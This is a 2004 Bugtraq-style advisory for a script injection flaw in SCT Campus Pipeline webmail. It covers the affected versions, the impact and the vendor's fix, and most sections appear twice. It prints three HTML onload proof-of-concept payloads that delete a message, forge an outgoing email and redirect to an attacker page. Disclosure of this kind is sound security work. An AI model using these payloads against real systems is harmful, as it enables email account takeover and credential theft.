SCT Campus Pipeline Email Attachment Script Injection Vulnerability
BID:10154
Info
SCT Campus Pipeline Email Attachment Script Injection Vulnerability
| Bugtraq ID: | 10154 |
| Class: | Configuration Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 15 2004 12:00AM |
| Updated: | Apr 15 2004 12:00AM |
| Credit: | Disclosure of this issue is credited to "spiffomatic 64" <[email protected]>. |
| Vulnerable: |
SCT Corporation Campus Pipeline 3.2 SCT Corporation Campus Pipeline 3.1 SCT Corporation Campus Pipeline 3.0 SCT Corporation Campus Pipeline 2.2 SCT Corporation Campus Pipeline 2.1 SCT Corporation Campus Pipeline 2.0 SCT Corporation Campus Pipeline 1.0 |
| Not Vulnerable: | |
Discussion
SCT Campus Pipeline Email Attachment Script Injection Vulnerability
It has been reported that Campus Pipeline is prone to a remote email attachment script injection vulnerability. This issue is due to a failure of the application to properly sanitize user supplied HTML and script code contained in email documents.
This issue may allow a remote attacker to gain control of an unsuspecting user's email account; by executing specific script code an attacker can manipulate the victim's email account. It may be possible for an attacker to steal cookie based authentication credentials as well, and due to the integrated nature of this software this may potentially lead to further compromise of the victim's account. It should be noted that this has not been confirmed.
It has been reported that Campus Pipeline is prone to a remote email attachment script injection vulnerability. This issue is due to a failure of the application to properly sanitize user supplied HTML and script code contained in email documents.
This issue may allow a remote attacker to gain control of an unsuspecting user's email account; by executing specific script code an attacker can manipulate the victim's email account. It may be possible for an attacker to steal cookie based authentication credentials as well, and due to the integrated nature of this software this may potentially lead to further compromise of the victim's account. It should be noted that this has not been confirmed.
Exploit / POC
SCT Campus Pipeline Email Attachment Script Injection Vulnerability
No exploit is required to leverage this issue. The following proof of concept has been provided:
To delete the current email message:
<html><body onload=?deleteMessage()?></body><html>
This exploit will open a new email message with attacker-supplied text:
<html><body
onload="location.replace('http://www.example.com/cp/email/composeBody?function=new&[email protected]&subject=I
love you matt&body=I was owned by matt')"></body></html>
Site redirection:
<html><body onload="location.replace('http://www.example.com/attackerSpecified.html')">
</body></html>
No exploit is required to leverage this issue. The following proof of concept has been provided:
To delete the current email message:
<html><body onload=?deleteMessage()?></body><html>
This exploit will open a new email message with attacker-supplied text:
<html><body
onload="location.replace('http://www.example.com/cp/email/composeBody?function=new&[email protected]&subject=I
love you matt&body=I was owned by matt')"></body></html>
Site redirection:
<html><body onload="location.replace('http://www.example.com/attackerSpecified.html')">
</body></html>
Solution / Fix
SCT Campus Pipeline Email Attachment Script Injection Vulnerability
Solution:
The vendor has acknowledged this issue and provided resolution information via customer support services. This issue has been assigned answer ID 923 by the vendor. Users should contact the vendor for more information.
Solution:
The vendor has acknowledged this issue and provided resolution information via customer support services. This issue has been assigned answer ID 923 by the vendor. Users should contact the vendor for more information.
References
SCT Campus Pipeline Email Attachment Script Injection Vulnerability
References:
References:
- Campus Pipeline Home Page (SCT Corporation)
- SCT javascript execution vulnerability ("spiffomatic 64"